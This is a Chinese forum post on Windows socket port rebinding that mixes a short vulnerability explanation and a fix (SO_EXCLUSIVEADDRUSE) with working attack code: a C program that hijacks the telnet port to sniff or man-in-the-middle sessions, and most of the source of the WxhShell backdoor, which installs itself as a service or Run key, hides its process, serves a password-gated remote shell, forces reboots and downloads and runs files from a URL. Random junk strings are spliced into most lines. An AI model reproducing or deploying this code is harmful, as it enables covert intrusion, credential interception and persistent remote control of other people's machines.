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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YeptYW@xfw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^MKvZ DOP  
1^b-J0  
  saddr.sin_family = AF_INET; ^e8~eL+  
4}gqtw:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q.g<gu]  
L6J=m#Ld  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); s+h`,gg9  
BC 9rsb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <Gr{h>b  
Qt+ K,LY  
  这意味着什么?意味着可以进行如下的攻击: -|"mB"Dc  
q} U^H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }{J<Wzw  
NYm2fFPc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E,>/6AU  
O*`] ]w]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XjuAVNY  
[wj&.I{^s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5BN!uUkm+  
ggzg, ~V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hwSn?bkw  
)apqL{u:=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -;Y*;xe  
c7[|x%~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 C;-9_;&  
7D|g|i  
  #include h%8[];*DpN  
  #include V<ziJ7H/  
  #include >RG }u  
  #include    4 ac2^`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FI`][&]V  
  int main() \/xWsbG\  
  { f-E]!\Pg  
  WORD wVersionRequested; :-fCyF)EI  
  DWORD ret; w[S2 ] <  
  WSADATA wsaData; kid3@  
  BOOL val;  Cdin"  
  SOCKADDR_IN saddr; N2 wBH+3w  
  SOCKADDR_IN scaddr; "M3R}<Vt  
  int err; uosFpa  
  SOCKET s; \25Rq/&w  
  SOCKET sc; T<=Ci?C v  
  int caddsize; )+'FTz` c  
  HANDLE mt; @{ _[bKg  
  DWORD tid;   -R?~Yysd7K  
  wVersionRequested = MAKEWORD( 2, 2 ); m}54yo  
  err = WSAStartup( wVersionRequested, &wsaData ); "7(2m  
  if ( err != 0 ) { iSCv/Gb:,  
  printf("error!WSAStartup failed!\n"); }te\) Yk.N  
  return -1; Uf}s6#   
  } U3}r.9/  
  saddr.sin_family = AF_INET; u]lf~EE  
   R4.$9_ ui  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OlL FuVR  
,B_Nz}\8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hX# y7m  
  saddr.sin_port = htons(23); 66NJ&ac  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U p=J&^.  
  { O8%+5l`T!  
  printf("error!socket failed!\n"); =;#+8w=^  
  return -1; u 0(H!  
  } I kv@}^p 7  
  val = TRUE; Uo>pV 9xRG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 80TSE*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v9QR,b` n  
  { 9lbe[w @  
  printf("error!setsockopt failed!\n"); /GCI`hx>"  
  return -1; %JF.m$-  
  } !B5 }`*1D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; kTZ`RW&0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]a F,r"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +Wrj%}+  
TPEg>[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i0; p?4`m  
  { *p0n{F9  
  ret=GetLastError(); K;^$n>Y  
  printf("error!bind failed!\n"); "#anL8  
  return -1; q1Gc0{+)  
  } \bNN]=  
  listen(s,2); xfZ.  
  while(1) ,Dd )=  
  { 6c>cq\~E  
  caddsize = sizeof(scaddr); 96x$Xl;  
  //接受连接请求 | #Z+s-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sOQF_X(.x  
  if(sc!=INVALID_SOCKET) r%QTUuRXC3  
  { In<L?U?([D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sH(@X<{p  
  if(mt==NULL) `"`/_al^  
  { xF![3~~3[  
  printf("Thread Creat Failed!\n"); 7DQ{#Gf#G  
  break; BV_rk^}Ur  
  } ~5g2~.&*  
  } "|ZC2Zu<  
  CloseHandle(mt); JDeG@N$  
  } /D2 cY>  
  closesocket(s); E_k<EQ%r  
  WSACleanup(); L@xag-b i  
  return 0; U\dq Mp#Wy  
  }   W?is8r:  
  DWORD WINAPI ClientThread(LPVOID lpParam) `L n,qiA  
  { B'<k*9=Nv8  
  SOCKET ss = (SOCKET)lpParam; Jse;@K5y  
  SOCKET sc; G>"=Af(t?Y  
  unsigned char buf[4096]; ;n1< 1M>!  
  SOCKADDR_IN saddr; 6?GR+;/  
  long num; c%,@O&o  
  DWORD val; \[u7y. b  
  DWORD ret; H5wzzSV!:B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `P/7Mf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EMK>7 aks  
  saddr.sin_family = AF_INET; 3Ov? kWFO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D2<(V,h9  
  saddr.sin_port = htons(23); j8gw]V/B:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i~1bfl   
  { :K J#_y\rt  
  printf("error!socket failed!\n"); ,n )f=q*%  
  return -1; Am>^{qh9  
  } A6-K~z^  
  val = 100; +Wgp~$o4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dZ]['y%  
  { ^&^~LKl~  
  ret = GetLastError(); >|[ l?`  
  return -1; W:5,zFW  
  } l6kqP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )g;*u,C  
  { {DfXn1Cg0U  
  ret = GetLastError(); FZdZGK  
  return -1; pCOtk'n  
  } {k:W?`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VSf<(udGr  
  { Ky:y1\K1^K  
  printf("error!socket connect failed!\n"); mQ~0cwo)  
  closesocket(sc); v>S[} du  
  closesocket(ss); VR:4|_o  
  return -1; xcf`i:\  
  } _6O\*|'6  
  while(1) `Ckx~'1M:  
  { G%Dhj)2}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W.67};',  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A!xx#+M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6sE%]u<V  
  num = recv(ss,buf,4096,0); QV&yVH=Xs  
  if(num>0) :U>[*zE4&  
  send(sc,buf,num,0); St`3Z/|h  
  else if(num==0) <d`ksZ+  
  break; Jw -?7O  
  num = recv(sc,buf,4096,0); MTyBG rs(  
  if(num>0) : _,oD  
  send(ss,buf,num,0); yDl{18~zv  
  else if(num==0) nogdOGo  
  break; Uxll<z,  
  } O%hmGW4  
  closesocket(ss); Qf=+%-$Y  
  closesocket(sc); on0MhW  
  return 0 ; r0xmDJ@y  
  } ]; CTr0  
DERhmJ;>H  
V:Z}cfR.7  
========================================================== L'A>IBrz  
v%|S)^c?:  
下边附上一个代码,,WXhSHELL VyF|d? b  
>)+ -:  
========================================================== 3_5]0:?]-  
ZjB]pG+  
#include "stdafx.h" z+~klv 3  
$27QY  
#include <stdio.h> N?Nu'  
#include <string.h> ()\=(n!J  
#include <windows.h> f[wA ]&  
#include <winsock2.h> |L}1@0i  
#include <winsvc.h> )0\"8}!  
#include <urlmon.h> |``rSEXYs  
.5s#JL  
#pragma comment (lib, "Ws2_32.lib") gS VWv9+  
#pragma comment (lib, "urlmon.lib") 78u9> H  
iYPlgt/Y!  
#define MAX_USER   100 // 最大客户端连接数 vGST{Lz;  
#define BUF_SOCK   200 // sock buffer eI@nskq#  
#define KEY_BUFF   255 // 输入 buffer @Q%9b)\\  
j92X"yB  
#define REBOOT     0   // 重启 d~hN`ff  
#define SHUTDOWN   1   // 关机 Vs"1:gi&  
gt>k]0  
#define DEF_PORT   5000 // 监听端口 WR<,[*Mv^  
VnU/_# n  
#define REG_LEN     16   // 注册表键长度 c04;2gR  
#define SVC_LEN     80   // NT服务名长度 ;1[a*z<l&s  
$yoIz.?V  
// 从dll定义API &%=]lP]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *mVQN1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s^vw]D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mD"[z}r)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gXb * zt2  
n)bbEXO  
// wxhshell配置信息 pPD}>q  
struct WSCFG { xj#anr  
  int ws_port;         // 监听端口 =1SG^rp  
  char ws_passstr[REG_LEN]; // 口令 L\%zNPLS  
  int ws_autoins;       // 安装标记, 1=yes 0=no wRj||yay#-  
  char ws_regname[REG_LEN]; // 注册表键名 Z !81\5  
  char ws_svcname[REG_LEN]; // 服务名 bd$``(b`v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j8cXv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l'Kx#y$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <aR sogu"P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x o{y9VS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X{BS]   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s9\N{ar#  
Hgk@I;  
}; UNO KK_  
;x|LB>.  
// default Wxhshell configuration  &e%eIz  
struct WSCFG wscfg={DEF_PORT, a<W.}0ZY  
    "xuhuanlingzhe", #*~3gMI{=  
    1, h(4&!x  
    "Wxhshell", k;~*8i=%,\  
    "Wxhshell", ObzFh?W  
            "WxhShell Service", 5\jzIB_?  
    "Wrsky Windows CmdShell Service", VEG p!~D  
    "Please Input Your Password: ", W2T-TI,>PC  
  1, $ vt6~nfI  
  "http://www.wrsky.com/wxhshell.exe", Sa 8T'%W  
  "Wxhshell.exe" S0]JeP+3!  
    }; |e+r|i]  
0/4"Jh$t  
// 消息定义模块 'u84d=*l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }xb?C""q^q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zPyN2|iFah  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }9*NEU) o  
char *msg_ws_ext="\n\rExit."; (/^dyG|X'  
char *msg_ws_end="\n\rQuit."; 3;<Vv*a"Dm  
char *msg_ws_boot="\n\rReboot..."; I*`;1+`  
char *msg_ws_poff="\n\rShutdown..."; d cG)ql4d  
char *msg_ws_down="\n\rSave to "; %h9'kJzNk  
t^|GcU]  
char *msg_ws_err="\n\rErr!"; .:(T}\]R  
char *msg_ws_ok="\n\rOK!"; r=4vN=:  
*!c&[- g  
char ExeFile[MAX_PATH]; ,w|Or}h]7  
int nUser = 0; x4Wu`-4^  
HANDLE handles[MAX_USER]; @;b @O _  
int OsIsNt; 9lR-  
m+=L}[  
SERVICE_STATUS       serviceStatus; >MLP mER  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D6vhW:t8?  
w^=uq3X?  
// 函数声明 M=t;t0  
int Install(void); l\"wdS}  
int Uninstall(void); ,1e\}^  
int DownloadFile(char *sURL, SOCKET wsh); -& T.rsp  
int Boot(int flag); bqcwZ6r<  
void HideProc(void); Fu\!'\6  
int GetOsVer(void); OeYZLC(  
int Wxhshell(SOCKET wsl); Rz:1(^oA  
void TalkWithClient(void *cs); {osadXd C  
int CmdShell(SOCKET sock); i~i ?M)  
int StartFromService(void); >mUSRf4  
int StartWxhshell(LPSTR lpCmdLine); pdq5EUdS  
SpA-E/el  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *OU&`\bmE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F [S'l  
yP*oRV%uX  
// 数据结构和表定义 YGsg0I't  
SERVICE_TABLE_ENTRY DispatchTable[] = myqQqVW  
{ #VU>Z|$@N  
{wscfg.ws_svcname, NTServiceMain}, J}Ji /  
{NULL, NULL} R d|M)  
}; G"|c_qX  
 BRF4 p:  
// 自我安装 |TQa=  
int Install(void) Rwe!xY^d8  
{ w@i;<LY.  
  char svExeFile[MAX_PATH]; W;^6=(&xn  
  HKEY key; #%{x*y:Ms  
  strcpy(svExeFile,ExeFile); 01">$  
4#&w-W  
// 如果是win9x系统,修改注册表设为自启动 WJBwo%J  
if(!OsIsNt) { dCO7"/IHW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >7(7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ['DYP-1J  
  RegCloseKey(key); fIii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N/8_0]Gf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); txFcV  
  RegCloseKey(key); %~EOq\&  
  return 0; ~n{lu'SIX2  
    } 6e4A| <  
  } A(T=  
} !~!\=etm  
else { U*cWNn:."  
kPezR: 31  
// 如果是NT以上系统,安装为系统服务 fK; I0J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4)].{Z4 q  
if (schSCManager!=0) Y=(%t:#_  
{ (5efNugc  
  SC_HANDLE schService = CreateService PD`EtkUnv  
  ( 'da$i  
  schSCManager, Ch7&9NW  
  wscfg.ws_svcname, ds:&{~7L<T  
  wscfg.ws_svcdisp, .s`7n *xz  
  SERVICE_ALL_ACCESS, 5O]eD84B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |3dIq=~1"Y  
  SERVICE_AUTO_START, k56*eEc  
  SERVICE_ERROR_NORMAL, i/aj;t  
  svExeFile, o!sHK9hvJ)  
  NULL, rPkPQn:  
  NULL, ^.u J]k0  
  NULL, 5@yBUwMSj  
  NULL, 41 #YtZ  
  NULL ?a{>QyL  
  ); =g<Yi2  
  if (schService!=0) %+ur41HM  
  { f@H>by N  
  CloseServiceHandle(schService); M6:$ 0(r  
  CloseServiceHandle(schSCManager); CooOBk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F0tx.]uS  
  strcat(svExeFile,wscfg.ws_svcname); a~A"uLBR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g<s;uRA4O9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TykY>cl   
  RegCloseKey(key); KYC<*1k  
  return 0; y7-dae k  
    } OJ,Z  
  } TF-a 1z  
  CloseServiceHandle(schSCManager); mExJ--}  
} ~NB lJULS  
} #waK^B)<a  
f ( ug3(j  
return 1; 0*50uK=5  
} nAk;a|Q  
0wZAsG"Bg  
// 自我卸载 Py~N.@(:1u  
int Uninstall(void) WS2@; 8.N  
{ UjcKvF  
  HKEY key; x_OZdI  
)!g@MHHL  
if(!OsIsNt) { of0 hJR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ldNWdz  
  RegDeleteValue(key,wscfg.ws_regname); ;`rz]7,*  
  RegCloseKey(key); jGFDj"Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jOU1F1  
  RegDeleteValue(key,wscfg.ws_regname); 3 , nr*R!  
  RegCloseKey(key); y0\=F  
  return 0; h45RwQ5Z  
  } 8rM1kOCf  
} Rq,Fp/  
} Lo uYY: Q  
else { Qvm[2mb  
~RIa),GVX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e<-^  
if (schSCManager!=0) R~d{Yv  
{ S@6 :H"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fp'%lbk=  
  if (schService!=0) 8Lh[>|~=  
  { -< }#ImTN  
  if(DeleteService(schService)!=0) { jU_#-<'r  
  CloseServiceHandle(schService); L; 'C5#GN  
  CloseServiceHandle(schSCManager); ?v$1 Fc55  
  return 0; [A46WF>L  
  } [K#pU:lTH  
  CloseServiceHandle(schService); @2R+?2 j  
  } 4KZ)`KPE  
  CloseServiceHandle(schSCManager); &8@ a"  
} c%x.cbu>  
} y3!#*NU  
mFJb9 ,  
return 1; :B1a2Y^"  
} 7oFA5T _  
&~sk7iGi  
// 从指定url下载文件 -r@/8"  
int DownloadFile(char *sURL, SOCKET wsh) ;BjJ<?^{  
{ xT;j_'9U;  
  HRESULT hr; .R{+Pz D  
char seps[]= "/"; Aj "SSX!L  
char *token; 15wwu} X  
char *file; x qLIs:*  
char myURL[MAX_PATH]; uoe>T:  
char myFILE[MAX_PATH]; T[]kun  
m_,j)A%  
strcpy(myURL,sURL); 9<6Hs3|.!  
  token=strtok(myURL,seps); ^=Egf?|[  
  while(token!=NULL)  :IX_}|  
  {  cvO;xR  
    file=token; <G#z;]N  
  token=strtok(NULL,seps); V|G[j\]E<  
  } 6uubkt  
gfm aO ]  
GetCurrentDirectory(MAX_PATH,myFILE); b@yFqgJ_  
strcat(myFILE, "\\"); r!HB""w  
strcat(myFILE, file); Uiu9o]n  
  send(wsh,myFILE,strlen(myFILE),0); V SUz+W  
send(wsh,"...",3,0); 2~q(?wY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R4Si{J*O  
  if(hr==S_OK) i*ji   
return 0; ?Qdp#K]WX  
else ]WZi +  
return 1; .}DL%E`n  
~.f[K{h8  
} Q2K)Nl >_  
31n|ScXv  
// 系统电源模块 Z=CY6Zu7  
int Boot(int flag) C;.+ kE  
{ S[L2vM)  
  HANDLE hToken; OCYC Dn  
  TOKEN_PRIVILEGES tkp; ybgAyJ{J<  
AAld2"r  
  if(OsIsNt) { IX y  $  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qD/FxR-!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a@U0s+V&a0  
    tkp.PrivilegeCount = 1; v}-jls  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {GM8}M~D&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SWM6+i p  
if(flag==REBOOT) { Trwk9 +  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f+D a W  
  return 0; 8et.A  
} TLiA>`r=  
else { 3+| {O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]z_C7Y"4BR  
  return 0; mB]Y;R<  
} \J?5K l[*c  
  } 4E.K6=k|=a  
  else { Il,^/qvIY  
if(flag==REBOOT) { 5 ,1q%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @dp1bkU  
  return 0; qvhol  
} UON W3}-  
else { 7]6HXR@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A1nEp0%Y  
  return 0; M/^kita  
} 2gbMUdpp  
} ~TEKxgU  
O`W&`B(*k  
return 1; WmT(>JBO  
} B)`^/^7  
&.t|&8-  
// win9x进程隐藏模块 ;Z(~;D  
void HideProc(void) L?( % *  
{ k 1   
IfGQeynj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .+TriPL  
  if ( hKernel != NULL ) 9QryW\6.@z  
  { 'L0{Ed+9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UCP4w@C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `nDgwp:b"  
    FreeLibrary(hKernel); 1*Ui=M4  
  } >{]mN5  
qg;f h]j%  
return; _Ak?i\  
} T c{]w?V  
=2=n   
// 获取操作系统版本 KGI0|Z]n~  
int GetOsVer(void) 7VwLyy  
{ P"WnU'+  
  OSVERSIONINFO winfo; h.W;Dmf6]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); );.q:"  
  GetVersionEx(&winfo); ;qF#!Kb5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {%;KkC8=R  
  return 1; jW-j+ WGSM  
  else (SlrV8;  
  return 0; gB?~!J?  
} ~CB6+t>  
iEf6oM  
// 客户端句柄模块 Eb<iR)e H=  
int Wxhshell(SOCKET wsl) = ?hx+-'  
{ ]8XY "2b  
  SOCKET wsh; vQ}'4i8(  
  struct sockaddr_in client; fYzOT, c  
  DWORD myID; yEfV8aY'*  
|,ZmRW^2K  
  while(nUser<MAX_USER) {m/\AG)1I  
{ hL,+wJ+A  
  int nSize=sizeof(client); D~xU r )E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * QF3l0&  
  if(wsh==INVALID_SOCKET) return 1; 6_wf $(im  
@lP<Mq~]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [[PUK{P0  
if(handles[nUser]==0) Eqg(U0k0  
  closesocket(wsh); @:~O  
else f*g>~!  
  nUser++; t?0D*!D  
  } rwlV\BU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AVR9G^ce_  
Lw]:/x  
  return 0; ~nk'ZJ   
} nuB@Fkr  
I,r 3.2u  
// 关闭 socket e_wz8]K)n  
void CloseIt(SOCKET wsh) gq6C6   
{ ]8q5k5~  
closesocket(wsh); b-{\manH  
nUser--; L30x2\C  
ExitThread(0); KsGSs9  
} V X<ZB +R  
w49Wl>M  
// 客户端请求句柄 8E/]k\  
void TalkWithClient(void *cs) SrN;S kS  
{ Es kh=xA {  
ZpHT2-baVe  
  SOCKET wsh=(SOCKET)cs; dyjzF`H  
  char pwd[SVC_LEN]; W&]grG2/  
  char cmd[KEY_BUFF]; ~4wbIE_r N  
char chr[1]; ;C%D+"l1g  
int i,j; ZbYwuyHk(3  
@\_ tS H  
  while (nUser < MAX_USER) { qB_MDA  
<,l&),  
if(wscfg.ws_passstr) { | %af}# FQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q0 :Lb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \K)"@gdW  
  //ZeroMemory(pwd,KEY_BUFF); 5( lE$&   
      i=0; 9jiZtwRpk  
  while(i<SVC_LEN) { AjaG .fa]k  
aI|<t^X  
  // 设置超时 J! >HT'M  
  fd_set FdRead; &j/ WjZPF  
  struct timeval TimeOut; +b] g;  
  FD_ZERO(&FdRead); Y$EqBN  
  FD_SET(wsh,&FdRead); RC8{QgaI  
  TimeOut.tv_sec=8; w?.0r6j  
  TimeOut.tv_usec=0; .bvB8VOrW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /40Z-'Bl=(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f3-=?Z  
xkOyj`IS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pCA(>(  
  pwd=chr[0]; {t[j>_MYw  
  if(chr[0]==0xd || chr[0]==0xa) { Wn24eld"x  
  pwd=0; ]}F_nc2L  
  break; q:-8W[_  
  } &:8a[C2=  
  i++; =4yME  
    } )KR9alf3  
jh`&c{#*)M  
  // 如果是非法用户,关闭 socket r M'snW)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lcvWx%/o@  
} _C"W;n'  
?D\6CsNp(2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]BCH9%zLj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S'V0c%'QQV  
b}o^ ?NtA  
while(1) { zp"sM z]  
1I KDp]SN  
  ZeroMemory(cmd,KEY_BUFF); ;04doub  
j$zw(EkN  
      // 自动支持客户端 telnet标准   +|Xx=1_?BK  
  j=0; 9<P1?Q  
  while(j<KEY_BUFF) { pF#nj`L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z)q9O_g9  
  cmd[j]=chr[0]; lW?}jzuo  
  if(chr[0]==0xa || chr[0]==0xd) { UL(R/yc  
  cmd[j]=0; [1dlV/  
  break; ^ {-J Y  
  } MH`f!%c  
  j++; EdE,K1gD  
    } >I8R[@  
?^2(|t9KU  
  // 下载文件 n'1pNL:  
  if(strstr(cmd,"http://")) { 28LjQ!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <y\>[7Y  
  if(DownloadFile(cmd,wsh)) L$l'wz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G*mk 19Z  
  else {Aj}s3v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %ztCcgu*  
  } JpD<2Mz_|V  
  else { lz faW-nu  
zOCru2/  
    switch(cmd[0]) { -JaC~v(0  
  1N1MD@C?P  
  // 帮助 4{X5ZS?CkI  
  case '?': { 5)2lZ(5.A#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Y0*P  
    break; 9EK5#_L[=  
  } H{E223  
  // 安装 |OUr=b  
  case 'i': { HzF  
    if(Install()) B~V^?."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 41^+T<+  
    else VW I{ wC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =\ iV=1iB  
    break; 6^s=25>p  
    } :7<spd(%"  
  // 卸载 D^]7/w:$-  
  case 'r': { {2}O\A  
    if(Uninstall()) 7pMrYIP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V?t^ J7{'  
    else ; ob>$ _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *ELbz}Q  
    break; C3u/8Mrt7  
    } )Pakb!0H@t  
  // 显示 wxhshell 所在路径 b/Z=FS2T  
  case 'p': { >>Z.]  
    char svExeFile[MAX_PATH]; PR|F-/o  
    strcpy(svExeFile,"\n\r"); fDNiU"  
      strcat(svExeFile,ExeFile); vtKQvQ  
        send(wsh,svExeFile,strlen(svExeFile),0); `-"2(Gp  
    break; "Up3W%]SB  
    } e]'ui<`  
  // 重启 6x^#|;e>lI  
  case 'b': { y-)|u:~h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &{]zL  
    if(Boot(REBOOT)) #pErGz'{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `6)GjZh^  
    else { 0+}42g|_Z  
    closesocket(wsh); )AEJ` xC  
    ExitThread(0); G?jKm_`L  
    } PF2PMEBx!  
    break; >u ,Ac:  
    } y$Sn3_9 V  
  // 关机 HJo&snT3  
  case 'd': { :$~)i?ge<5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jajo!X*Wai  
